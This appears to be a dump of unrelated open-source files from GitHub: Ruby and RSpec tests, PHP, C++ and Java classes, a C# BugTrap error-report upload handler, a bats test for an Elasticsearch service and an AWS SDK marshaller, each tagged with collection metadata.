require File.expand_path('../../../spec_helper', __FILE__) require File.expand_path('../fixtures/classes', __FILE__) describe "Kernel#instance_variable_get" do before(:each) do @obj = Object.new @obj.instance_variable_set("@test", :test) end it "tries to convert the passed argument to a String using #to_str" do obj = mock("to_str") obj.should_receive(:to_str).and_return("@test") @obj.instance_variable_get(obj) end it "returns the value of the passed instance variable that is referred to by the conversion result" do obj = mock("to_str") obj.stub!(:to_str).and_return("@test") @obj.instance_variable_get(obj).should == :test end it "returns nil when the referred instance variable does not exist" do @obj.instance_variable_get(:@does_not_exist).should be_nil end it "raises a TypeError when the passed argument does not respond to #to_str" do lambda { @obj.instance_variable_get(Object.new) }.should raise_error(TypeError) end it "raises a TypeError when the passed argument can't be converted to a String" do obj = mock("to_str") obj.stub!(:to_str).and_return(123) lambda { @obj.instance_variable_get(obj) }.should raise_error(TypeError) end it "raises a NameError when the conversion result does not start with an '@'" do obj = mock("to_str") obj.stub!(:to_str).and_return("test") lambda { @obj.instance_variable_get(obj) }.should raise_error(NameError) end it "returns nil when passed just '@'" do obj = mock("to_str") obj.stub!(:to_str).and_return('@') @obj.instance_variable_get(obj).should be_nil end end describe "Kernel#instance_variable_get when passed Symbol" do before(:each) do @obj = Object.new @obj.instance_variable_set("@test", :test) end it "returns the value of the instance variable that is referred to by the passed Symbol" do @obj.instance_variable_get(:@test).should == :test end it "raises a NameError when the passed Symbol does not start with an '@'" do lambda { @obj.instance_variable_get(:test) }.should raise_error(NameError) end it "returns nil when passed just '@'" do @obj.instance_variable_get(:"@").should be_nil end end describe "Kernel#instance_variable_get when passed String" do before(:each) do @obj = Object.new @obj.instance_variable_set("@test", :test) end it "returns the value of the instance variable that is referred to by the passed String" do @obj.instance_variable_get("@test").should == :test end it "raises a NameError when the passed String does not start with an '@'" do lambda { @obj.instance_variable_get("test") }.should raise_error(NameError) end it "returns nil when passed just '@'" do @obj.instance_variable_get("@").should be_nil end end describe "Kernel#instance_variable_get when passed Fixnum" do before(:each) do @obj = Object.new @obj.instance_variable_set("@test", :test) end ruby_version_is "" ... "1.9" do deviates_on :rubinius do it "always raises an ArgumentError" do lambda { @obj.instance_variable_get(0) }.should raise_error(ArgumentError) lambda { @obj.instance_variable_get(10) }.should raise_error(ArgumentError) lambda { @obj.instance_variable_get(100) }.should raise_error(ArgumentError) lambda { @obj.instance_variable_get(-100) }.should raise_error(ArgumentError) end end not_compliant_on :rubinius do it "tries to convert the passed Integer to a Symbol and returns the instance variable that is referred by the Symbol" do @obj.instance_variable_get(:@test.to_i).should == :test end it "outputs a warning" do lambda { @obj.instance_variable_get(:@test.to_i) }.should complain(/#{"do not use Fixnums as Symbols"}/) end it "raises an ArgumentError when the passed Fixnum can't be converted to a Symbol" do lambda { @obj.instance_variable_get(-10) }.should raise_error(ArgumentError) end it "raises a NameError when the Symbol does not start with an '@'" do lambda { @obj.instance_variable_get(:test.to_i) }.should raise_error(NameError) end end end ruby_version_is "1.9" do it "raises a TypeError" do lambda { @obj.instance_variable_get(10) }.should raise_error(TypeError) lambda { @obj.instance_variable_get(-10) }.should raise_error(TypeError) end end end
{ "pile_set_name": "Github" }
<span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">CURRENT_TIMESTAMP</span> - <span class="hljs-built_in">INTERVAL</span> <span class="hljs-number">2</span> <span class="hljs-keyword">YEARS</span> + <span class="hljs-built_in">INTERVAL</span> <span class="hljs-number">1</span> <span class="hljs-keyword">MONTH</span> - <span class="hljs-built_in">INTERVAL</span> <span class="hljs-number">3</span> <span class="hljs-keyword">DAYS</span> + <span class="hljs-built_in">INTERVAL</span> <span class="hljs-number">10</span> <span class="hljs-keyword">HOURS</span> + <span class="hljs-built_in">interval</span> <span class="hljs-number">30</span> <span class="hljs-keyword">MINUTES</span> - <span class="hljs-built_in">INTERVAL</span> <span class="hljs-number">20</span> <span class="hljs-keyword">SECOND</span> <span class="hljs-keyword">AS</span> past_timestamp <span class="hljs-keyword">FROM</span> <span class="hljs-keyword">VALUES</span> (<span class="hljs-string">"dummy"</span>); <span class="hljs-keyword">WITH</span> ts <span class="hljs-keyword">AS</span> ( <span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">CURRENT_TIMESTAMP</span> <span class="hljs-keyword">AS</span> <span class="hljs-keyword">now</span> <span class="hljs-keyword">FROM</span> <span class="hljs-keyword">VALUES</span> (<span class="hljs-string">'dummy'</span>) ) <span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">now</span> - <span class="hljs-built_in">INTERVAL</span> <span class="hljs-number">1</span> <span class="hljs-keyword">DAY</span> - <span class="hljs-built_in">INTERVAL</span> <span class="hljs-number">2</span> <span class="hljs-keyword">HOURS</span> - <span class="hljs-built_in">INTERVAL</span> <span class="hljs-number">3</span> <span class="hljs-keyword">MINUTES</span> - <span class="hljs-built_in">INTERVAL</span> <span class="hljs-number">4</span> <span class="hljs-keyword">SECONDS</span> <span class="hljs-keyword">AS</span> LONG_VERSION, <span class="hljs-keyword">now</span> - <span class="hljs-built_in">INTERVAL</span> <span class="hljs-string">'1 2:3:4.100'</span> <span class="hljs-keyword">DAY</span> <span class="hljs-keyword">TO</span> <span class="hljs-keyword">SECOND</span> <span class="hljs-keyword">AS</span> SHORT_VERSION <span class="hljs-keyword">FROM</span> ts;
{ "pile_set_name": "Github" }
<?php /* * This file is part of PHPExifTool. * * (c) 2012 Romain Neutron <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPExiftool\Driver\Tag\QuickTime; use JMS\Serializer\Annotation\ExclusionPolicy; use PHPExiftool\Driver\AbstractTag; /** * @ExclusionPolicy("all") */ class CodeVersion extends AbstractTag { protected $Id = 'cver'; protected $Name = 'CodeVersion'; protected $FullName = 'QuickTime::UserData'; protected $GroupName = 'QuickTime'; protected $g0 = 'QuickTime'; protected $g1 = 'QuickTime'; protected $g2 = 'Video'; protected $Type = '?'; protected $Writable = false; protected $Description = 'Code Version'; }
{ "pile_set_name": "Github" }
// -*- tab-width: 4; Mode: C++; c-basic-offset: 4; indent-tabs-mode: nil -*- /* SToRM32 mount backend class */ #pragma once #include <AP_HAL/AP_HAL.h> #include <AP_AHRS/AP_AHRS.h> #include <AP_Math/AP_Math.h> #include <AP_Common/AP_Common.h> #include <AP_GPS/AP_GPS.h> #include <GCS_MAVLink/GCS.h> #include <GCS_MAVLink/GCS_MAVLink.h> #include <RC_Channel/RC_Channel.h> #include "AP_Mount_Backend.h" #define AP_MOUNT_STORM32_RESEND_MS 1000 // resend angle targets to gimbal once per second #define AP_MOUNT_STORM32_SEARCH_MS 60000 // search for gimbal for 1 minute after startup class AP_Mount_SToRM32 : public AP_Mount_Backend { public: // Constructor AP_Mount_SToRM32(AP_Mount &frontend, AP_Mount::mount_state &state, uint8_t instance); // init - performs any required initialisation for this instance virtual void init(const AP_SerialManager& serial_manager) {} // update mount position - should be called periodically virtual void update(); // has_pan_control - returns true if this mount can control it's pan (required for multicopters) virtual bool has_pan_control() const; // set_mode - sets mount's mode virtual void set_mode(enum MAV_MOUNT_MODE mode); // status_msg - called to allow mounts to send their status to GCS using the MOUNT_STATUS message virtual void status_msg(mavlink_channel_t chan); private: // search for gimbal in GCS_MAVLink routing table void find_gimbal(); // send_do_mount_control - send a COMMAND_LONG containing a do_mount_control message void send_do_mount_control(float pitch_deg, float roll_deg, float yaw_deg, enum MAV_MOUNT_MODE mount_mode); // internal variables bool _initialised; // true once the driver has been initialised uint8_t _sysid; // sysid of gimbal uint8_t _compid; // component id of gimbal mavlink_channel_t _chan; // mavlink channel used to communicate with gimbal. Currently hard-coded to Telem2 uint32_t _last_send; // system time of last do_mount_control sent to gimbal };
{ "pile_set_name": "Github" }
require "spec_helper" require "hamster/vector" describe Hamster::Vector do let(:vector) { V[*values] } describe "#any?" do let(:any?) { vector.any?(&block) } context "when created with no values" do let(:values) { [] } context "with a block" do let(:block) { ->(item) { item + 1 } } it "returns false" do expect(any?).to be(false) end end context "with a block" do let(:block) { nil } it "returns false" do expect(any?).to be(false) end end end context "when created with values" do let(:values) { ["A", "B", 3, nil] } context "with a block that returns true" do let(:block) { ->(item) { item == 3 } } it "returns true" do expect(any?).to be(true) end end context "with a block that doesn't return true" do let(:block) { ->(item) { item == "D" } } it "returns false" do expect(any?).to be(false) end end context "without a block" do let(:block) { nil } context "with some values that are truthy" do let(:values) { [nil, false, "B"] } it "returns true" do expect(any?).to be(true) end end context "with all values that are falsey" do let(:values) { [nil, false] } it "returns false" do expect(any?).to be(false) end end end end end end
{ "pile_set_name": "Github" }
// g2o - General Graph Optimization // Copyright (C) 2011 R. Kuemmerle, G. Grisetti, W. Burgard // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS // IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED // TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A // PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED // TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #ifndef G2O_OS_SPECIFIC_HH_ #define G2O_OS_SPECIFIC_HH_ #ifdef WINDOWS #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #ifndef _WINDOWS #include <sys/time.h> #endif #define drand48() ((double) rand()/(double)RAND_MAX) #ifdef __cplusplus extern "C" { #endif int vasprintf(char** strp, const char* fmt, va_list ap); #ifdef __cplusplus } #endif #endif #ifdef UNIX #include <sys/time.h> // nothing to do on real operating systems #endif #endif
{ "pile_set_name": "Github" }
<?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to [email protected] so we can send you a copy immediately. * * @category Zend * @package Zend_Media * @subpackage ID3 * @copyright Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License * @version $Id: Encr.php 177 2010-03-09 13:13:34Z svollbehr $ */ /**#@+ @ignore */ require_once 'Zend/Media/Id3/Frame.php'; /**#@-*/ /** * To identify with which method a frame has been encrypted the encryption * method must be registered in the tag with the <i>Encryption method * registration</i> frame. * * The owner identifier a URL containing an email address, or a link to a * location where an email address can be found, that belongs to the * organisation responsible for this specific encryption method. Questions * regarding the encryption method should be sent to the indicated email * address. * * The method symbol contains a value that is associated with this method * throughout the whole tag, in the range 0x80-0xF0. All other values are * reserved. The method symbol may optionally be followed by encryption * specific data. * * There may be several ENCR frames in a tag but only one containing the same * symbol and only one containing the same owner identifier. The method must be * used somewhere in the tag. See {@link Zend_Media_Id3_Frame#ENCRYPTION} for * more information. * * @category Zend * @package Zend_Media * @subpackage ID3 * @author Sven Vollbehr <[email protected]> * @author Ryan Butterfield <[email protected]> * @copyright Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License * @version $Id: Encr.php 177 2010-03-09 13:13:34Z svollbehr $ */ final class Zend_Media_Id3_Frame_Encr extends Zend_Media_Id3_Frame { /** @var string */ private $_owner; /** @var integer */ private $_method; /** @var string */ private $_encryptionData; /** * Constructs the class with given parameters and parses object related * data. * * @param Zend_Io_Reader $reader The reader object. * @param Array $options The options array. */ public function __construct($reader = null, &$options = array()) { parent::__construct($reader, $options); if ($this->_reader === null) { return; } list($this->_owner, ) = $this->_explodeString8 ($this->_reader->read($this->_reader->getSize()), 2); $this->_reader->setOffset(strlen($this->_owner) + 1); $this->_method = $this->_reader->readInt8(); $this->_encryptionData = $this->_reader->read($this->_reader->getSize()); } /** * Returns the owner identifier string. * * @return string */ public function getOwner() { return $this->_owner; } /** * Sets the owner identifier string. * * @param string $owner The owner identifier string. */ public function setOwner($owner) { $this->_owner = $owner; } /** * Returns the method symbol. * * @return integer */ public function getMethod() { return $this->_method; } /** * Sets the method symbol. * * @param integer $method The method symbol byte. */ public function setMethod($method) { $this->_method = $method; } /** * Returns the encryption data. * * @return string */ public function getEncryptionData() { return $this->_encryptionData; } /** * Sets the encryption data. * * @param string $encryptionData The encryption data string. */ public function setEncryptionData($encryptionData) { $this->_encryptionData = $encryptionData; } /** * Writes the frame raw data without the header. * * @param Zend_Io_Writer $writer The writer object. * @return void */ protected function _writeData($writer) { $writer->writeString8($this->_owner, 1) ->writeInt8($this->_method) ->write($this->_encryptionData); } }
{ "pile_set_name": "Github" }
// Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. package com.yahoo.yolean.trace; import org.junit.Test; /** * @author Simon Thoresen Hult */ public class TraceVisitorTestCase { @Test public void requireThatTraceVisitorCompilesWithOnlyVisitImplemented() { new TraceNode(null, 0).accept(new TraceVisitor() { @Override public void visit(TraceNode node) { } }); } }
{ "pile_set_name": "Github" }
/* * This is a part of the BugTrap package. * Copyright (c) 2005-2009 IntelleSoft. * All rights reserved. * * Description: Web request handler. * Author: Maksim Pyatkovskiy. * * This source code is only intended as a supplement to the * BugTrap package reference and related electronic documentation * provided with the product. See these sources for detailed * information regarding the BugTrap package. */ using System; using System.Text; using System.IO; using System.Net; using System.Net.Mail; using System.Diagnostics; using System.Collections.Generic; using System.Web; using System.Xml; using IntelleSoft.Collections; namespace BugTrapServer { /// <summary> /// Web request handler. /// </summary> public partial class RequestHandler : System.Web.UI.Page { /// <summary> /// Protocol signature. /// </summary> private const string protocolSignature = "BT01"; /// <summary> /// Shared XML writer settings. /// </summary> private static XmlWriterSettings settings; /// <summary> /// Protocol message type. /// </summary> private enum MessageType { /// <summary> /// Compound message that includes project info and report data. /// </summary> CompundMessage = 1 }; /// <summary> /// Compound message flags. /// </summary> [Flags] private enum CompoundMessageFlags { /// <summary> /// No flags specified. /// </summary> None = 0x00, }; static RequestHandler() { RequestHandler.settings = new XmlWriterSettings(); RequestHandler.settings.ConformanceLevel = ConformanceLevel.Fragment; RequestHandler.settings.Indent = true; } /// <summary> /// Generate directory name from the application name. /// </summary> /// <param name="appTitle">Application title.</param> /// <returns>Directory name.</returns> private static string GetAppDirName(string appTitle) { const string allowedChars = " _(){}.,;!+-"; StringBuilder dirName = new StringBuilder(); int position = 0, length = appTitle.Length; while (position < length) { if (char.IsSurrogate(appTitle, position)) { if (char.IsLetterOrDigit(appTitle, position)) { dirName.Append(appTitle[position++]); dirName.Append(appTitle[position++]); } } else { char ch = appTitle[position++]; if ((char.IsLetterOrDigit(ch) || allowedChars.IndexOf(ch) >= 0)) dirName.Append(ch); } } return dirName.ToString(); } /// <summary> /// Find application entry in the application item list. /// </summary> /// <param name="applicationSettings">Application settings.</param> /// <param name="appEntry">Application entry to search for.</param> /// <returns>True if appropriate entry was found and false otherwise.</returns> private bool FindAppEntry(ApplicationSettings applicationSettings, AppEntry appEntry) { Set<AppEntry> applicationList = applicationSettings.ApplicationList; if (applicationList == null || applicationList.Count == 0) return true; if (applicationList.Contains(appEntry)) return true; if (appEntry.Version != null) { AppEntry appEntry2 = new AppEntry(appEntry.Name); if (applicationList.Contains(appEntry2)) return true; } return false; } /// <summary> /// Find report file extension in the list of accepted extensions. /// </summary> /// <param name="applicationSettings">Application settings.</param> /// <param name="extension">Report file extension.</param> /// <returns>True if appropriate extension was found and false otherwise.</returns> private bool FindReportFileExtension(ApplicationSettings applicationSettings, string extension) { Set<string> reportFileExtensions = applicationSettings.ReportFileExtensions; if (reportFileExtensions == null || reportFileExtensions.Count == 0) return true; return reportFileExtensions.Contains(extension); } /// <summary> /// Send notification e-mail. /// </summary> /// <param name="applicationSettings">Application settings.</param> /// <param name="email">Notification e-mail address.</param> /// <param name="appTitle">Application title.</param> private void SendEMail(ApplicationSettings applicationSettings, string email, string appTitle) { if (!string.IsNullOrEmpty(applicationSettings.SmtpHost) && !string.IsNullOrEmpty(email)) { string senderAddress = applicationSettings.SenderAddress ?? string.Empty; MailMessage message = new MailMessage(senderAddress, email); message.Subject = '\"' + appTitle + "\" error report"; message.Body = "BugTrap server received error report of \"" + appTitle + "\" on " + DateTime.Now.ToString(); SmtpClient smtpClient; if (applicationSettings.SmtpPort > 0) smtpClient = new SmtpClient(applicationSettings.SmtpHost, applicationSettings.SmtpPort); else smtpClient = new SmtpClient(applicationSettings.SmtpHost); smtpClient.EnableSsl = applicationSettings.SmtpSSL; if (applicationSettings.SmtpUser != null) smtpClient.Credentials = new NetworkCredential(applicationSettings.SmtpUser, applicationSettings.SmtpPassword); smtpClient.Send(message); } } /// <summary> /// Handle client request. /// </summary> private void HandleRequest() { ApplicationSettings applicationSettings = (ApplicationSettings)this.Application["applicationSettings"]; Dictionary<string, AppDirInfo> lastReportNumbers = (Dictionary<string, AppDirInfo>)this.Application["lastReportNumbers"]; if (this.Request.Form["protocolSignature"] != RequestHandler.protocolSignature) throw new ApplicationException("Unsupported protocol version"); MessageType messageType = (MessageType)byte.Parse(this.Request.Form["messageType"]); if (messageType != MessageType.CompundMessage) throw new Exception("Unsupported message type"); CompoundMessageFlags messageFlags = (CompoundMessageFlags)uint.Parse(this.Request.Form["messageFlags"]); if (messageFlags != CompoundMessageFlags.None) throw new Exception("Unsupported message flags"); string appName = this.Request.Form["appName"]; string appVersion = this.Request.Form["appVersion"]; if (appName == string.Empty) appName = "(UNTITLED)"; string appTitle = appVersion == string.Empty ? appName : appName + ' ' + appVersion; AppEntry appEntry = new AppEntry(appName, appVersion); if (!this.FindAppEntry(applicationSettings, appEntry)) throw new Exception("Report excluded by filter"); string extension = this.Request.Form["reportFileExtension"]; if (!this.FindReportFileExtension(applicationSettings, extension)) throw new Exception("Invalid report file extension"); HttpPostedFile reportDataFile = this.Request.Files["reportData"]; if (reportDataFile == null) throw new Exception("Invalid report data"); int reportSize = reportDataFile.ContentLength; if ((applicationSettings.MaxReportSize >= 0 && reportSize > applicationSettings.MaxReportSize) || reportSize <= 0) throw new Exception("Report exceeds size limit"); string email = this.Request.Form["notificationEMail"]; string dirName = GetAppDirName(appTitle); int maxReportNumber = 0, numReports = 0; lock (lastReportNumbers) { AppDirInfo appDirInfo; if (lastReportNumbers.TryGetValue(dirName, out appDirInfo)) { maxReportNumber = appDirInfo.MaxReportNumber; numReports = appDirInfo.NumReports; } if (applicationSettings.ReportsLimit >= 0 && numReports > applicationSettings.ReportsLimit) throw new ApplicationException("Number of reports exceeds the limit"); if (appDirInfo == null) { appDirInfo = new AppDirInfo(); lastReportNumbers[dirName] = appDirInfo; } appDirInfo.NumReports = ++numReports; appDirInfo.MaxReportNumber = ++maxReportNumber; } string reportDir = Path.Combine(applicationSettings.ReportPath, dirName); Directory.CreateDirectory(reportDir); string fileName = Global.GetReportName(applicationSettings, maxReportNumber, extension); string filePath = Path.Combine(reportDir, fileName); Stream inputStream = null; FileStream outputStream = null; try { inputStream = reportDataFile.InputStream; outputStream = new FileStream(filePath, FileMode.Create, FileAccess.ReadWrite, FileShare.None); byte[] reportData = new byte[1024]; while (reportSize > 0) { int chunkSize = Math.Min(reportSize, reportData.Length); inputStream.Read(reportData, 0, chunkSize); outputStream.Write(reportData, 0, chunkSize); reportSize -= chunkSize; } this.SendEMail(applicationSettings, email, appTitle); } finally { if (inputStream != null) inputStream.Close(); if (outputStream != null) outputStream.Close(); } } /// <summary> /// Send server response to the client. /// <param name="code">Error code.</param> /// <param name="description">Error description.</param> /// </summary> private void WriteResponse(string code, string description) { this.Response.Clear(); this.Response.ContentType = "text/xml"; this.Response.ContentEncoding = Encoding.UTF8; XmlWriter writer = XmlWriter.Create(this.Response.Output, settings); try { writer.WriteStartElement("result"); writer.WriteElementString("code", code); writer.WriteElementString("description", description); writer.WriteEndElement(); } finally { writer.Close(); } this.Response.Flush(); } /// <summary> /// Occurs when the server control is loaded into the Page object. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">An EventArgs object that contains the event data.</param> [DoNotObfuscate] protected void Page_Load(object sender, EventArgs e) { string code = "OK"; string description = "The operation completed successfully"; try { this.HandleRequest(); } catch (Exception error) { code = "Error"; description = error.Message; this.ReportNestedError(error); } finally { this.WriteResponse(code, description); } } /// <summary> /// Get inner exception object. /// </summary> /// <param name="error">Topmost exception object.</param> /// <returns>Inner exception object.</returns> private static Exception GetNestedError(Exception error) { while (error.InnerException != null) error = error.InnerException; return error; } private EventLog GetEventLog() { EventLog eventLog = (EventLog)this.Application["eventLog"]; if (eventLog == null) { eventLog = new EventLog(); eventLog.Source = "BugTrapWebServer"; this.Application["eventLog"] = eventLog; } return eventLog; } /// <summary> /// Print error message on a console and add error message to the event log. /// </summary> /// <param name="error">Exception information.</param> private void ReportError(Exception error) { string message = error.ToString(); Debug.WriteLine(message); ApplicationSettings applicationSettings = (ApplicationSettings)this.Application["applicationSettings"]; if (applicationSettings.LogEvents) { EventLog eventLog = this.GetEventLog(); eventLog.WriteEntry(message, EventLogEntryType.Error); } } /// <summary> /// Print error message on a console and add error message to the event log. /// </summary> /// <param name="error">Exception information.</param> private void ReportNestedError(Exception error) { error = GetNestedError(error); this.ReportError(error); } } }
{ "pile_set_name": "Github" }
@test "Version matches" { local expected_version local result expected_version=$(echo "${TEST_PKG_IDENT}" | cut -d '/' -f3) result=$(hab pkg exec "${TEST_PKG_IDENT}" elasticsearch --version 2> /dev/null | awk '{print $2}' | tr -d ',') [ "${result}" = "${expected_version}" ] } @test "Service is running" { hab svc status | grep "elasticsearch\.default" | awk '{print $4}' | grep up } @test "Open port 9200" { netstat -peanut | grep java | grep 9200 } @test "Open port 9300" { netstat -peanut | grep java | grep 9300 } @test "Service Healthcheck" { local addr local result addr="$(netstat -lnp | grep 9200 | head -1 | awk '{print $4}')" result="$(curl -s http://"${addr}"/_cluster/health | jq -r '.status')" [ "${result}" = "green" ] }
{ "pile_set_name": "Github" }
// WARNING: DO NOT EDIT THIS FILE. THIS FILE IS MANAGED BY SPRING ROO. // You may push code into the target .java compilation unit if you wish to edit any member(s). package org.springframework.roo.petclinic.service.api; import io.springlets.data.domain.GlobalSearch; import io.springlets.format.EntityResolver; import java.util.List; import org.springframework.data.domain.Page; import org.springframework.data.domain.Pageable; import org.springframework.roo.petclinic.domain.Owner; import org.springframework.roo.petclinic.domain.OwnerCityFormBean; import org.springframework.roo.petclinic.domain.OwnerFirstNameFormBean; import org.springframework.roo.petclinic.domain.OwnerInfo; import org.springframework.roo.petclinic.service.api.OwnerService; privileged aspect OwnerService_Roo_Service { declare parents: OwnerService extends EntityResolver<Owner, Long>; /** * TODO Auto-generated method documentation * * @param id * @return Owner */ public abstract Owner OwnerService.findOne(Long id); /** * TODO Auto-generated method documentation * * @param owner */ public abstract void OwnerService.delete(Owner owner); /** * TODO Auto-generated method documentation * * @param entities * @return List */ public abstract List<Owner> OwnerService.save(Iterable<Owner> entities); /** * TODO Auto-generated method documentation * * @param ids */ public abstract void OwnerService.delete(Iterable<Long> ids); /** * TODO Auto-generated method documentation * * @param entity * @return Owner */ public abstract Owner OwnerService.save(Owner entity); /** * TODO Auto-generated method documentation * * @param id * @return Owner */ public abstract Owner OwnerService.findOneForUpdate(Long id); /** * TODO Auto-generated method documentation * * @param ids * @return List */ public abstract List<Owner> OwnerService.findAll(Iterable<Long> ids); /** * TODO Auto-generated method documentation * * @return List */ public abstract List<Owner> OwnerService.findAll(); /** * TODO Auto-generated method documentation * * @return Long */ public abstract long OwnerService.count(); /** * TODO Auto-generated method documentation * * @param globalSearch * @param pageable * @return Page */ public abstract Page<Owner> OwnerService.findAll(GlobalSearch globalSearch, Pageable pageable); /** * TODO Auto-generated method documentation * * @param owner * @param petsToAdd * @return Owner */ public abstract Owner OwnerService.addToPets(Owner owner, Iterable<Long> petsToAdd); /** * TODO Auto-generated method documentation * * @param owner * @param petsToRemove * @return Owner */ public abstract Owner OwnerService.removeFromPets(Owner owner, Iterable<Long> petsToRemove); /** * TODO Auto-generated method documentation * * @param owner * @param pets * @return Owner */ public abstract Owner OwnerService.setPets(Owner owner, Iterable<Long> pets); /** * TODO Auto-generated method documentation * * @param formBean * @param globalSearch * @param pageable * @return Page */ public abstract Page<Owner> OwnerService.findByFirstNameLike(OwnerFirstNameFormBean formBean, GlobalSearch globalSearch, Pageable pageable); /** * TODO Auto-generated method documentation * * @param formBean * @param globalSearch * @param pageable * @return Page */ public abstract Page<OwnerInfo> OwnerService.findByCityLike(OwnerCityFormBean formBean, GlobalSearch globalSearch, Pageable pageable); /** * TODO Auto-generated method documentation * * @param formBean * @return Long */ public abstract long OwnerService.countByFirstNameLike(OwnerFirstNameFormBean formBean); /** * TODO Auto-generated method documentation * * @param formBean * @return Long */ public abstract long OwnerService.countByCityLike(OwnerCityFormBean formBean); }
{ "pile_set_name": "Github" }
/* * Copyright 2015-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with * the License. A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions * and limitations under the License. */ package com.amazonaws.services.connectparticipant.model.transform; import javax.annotation.Generated; import com.amazonaws.SdkClientException; import com.amazonaws.services.connectparticipant.model.*; import com.amazonaws.protocol.*; import com.amazonaws.annotation.SdkInternalApi; /** * GetTranscriptRequestMarshaller */ @Generated("com.amazonaws:aws-java-sdk-code-generator") @SdkInternalApi public class GetTranscriptRequestMarshaller { private static final MarshallingInfo<String> CONTACTID_BINDING = MarshallingInfo.builder(MarshallingType.STRING).marshallLocation(MarshallLocation.PAYLOAD) .marshallLocationName("ContactId").build(); private static final MarshallingInfo<Integer> MAXRESULTS_BINDING = MarshallingInfo.builder(MarshallingType.INTEGER) .marshallLocation(MarshallLocation.PAYLOAD).marshallLocationName("MaxResults").build(); private static final MarshallingInfo<String> NEXTTOKEN_BINDING = MarshallingInfo.builder(MarshallingType.STRING).marshallLocation(MarshallLocation.PAYLOAD) .marshallLocationName("NextToken").build(); private static final MarshallingInfo<String> SCANDIRECTION_BINDING = MarshallingInfo.builder(MarshallingType.STRING) .marshallLocation(MarshallLocation.PAYLOAD).marshallLocationName("ScanDirection").build(); private static final MarshallingInfo<String> SORTORDER_BINDING = MarshallingInfo.builder(MarshallingType.STRING).marshallLocation(MarshallLocation.PAYLOAD) .marshallLocationName("SortOrder").build(); private static final MarshallingInfo<StructuredPojo> STARTPOSITION_BINDING = MarshallingInfo.builder(MarshallingType.STRUCTURED) .marshallLocation(MarshallLocation.PAYLOAD).marshallLocationName("StartPosition").build(); private static final MarshallingInfo<String> CONNECTIONTOKEN_BINDING = MarshallingInfo.builder(MarshallingType.STRING) .marshallLocation(MarshallLocation.HEADER).marshallLocationName("X-Amz-Bearer").build(); private static final GetTranscriptRequestMarshaller instance = new GetTranscriptRequestMarshaller(); public static GetTranscriptRequestMarshaller getInstance() { return instance; } /** * Marshall the given parameter object. */ public void marshall(GetTranscriptRequest getTranscriptRequest, ProtocolMarshaller protocolMarshaller) { if (getTranscriptRequest == null) { throw new SdkClientException("Invalid argument passed to marshall(...)"); } try { protocolMarshaller.marshall(getTranscriptRequest.getContactId(), CONTACTID_BINDING); protocolMarshaller.marshall(getTranscriptRequest.getMaxResults(), MAXRESULTS_BINDING); protocolMarshaller.marshall(getTranscriptRequest.getNextToken(), NEXTTOKEN_BINDING); protocolMarshaller.marshall(getTranscriptRequest.getScanDirection(), SCANDIRECTION_BINDING); protocolMarshaller.marshall(getTranscriptRequest.getSortOrder(), SORTORDER_BINDING); protocolMarshaller.marshall(getTranscriptRequest.getStartPosition(), STARTPOSITION_BINDING); protocolMarshaller.marshall(getTranscriptRequest.getConnectionToken(), CONNECTIONTOKEN_BINDING); } catch (Exception e) { throw new SdkClientException("Unable to marshall request to JSON: " + e.getMessage(), e); } } }
{ "pile_set_name": "Github" }
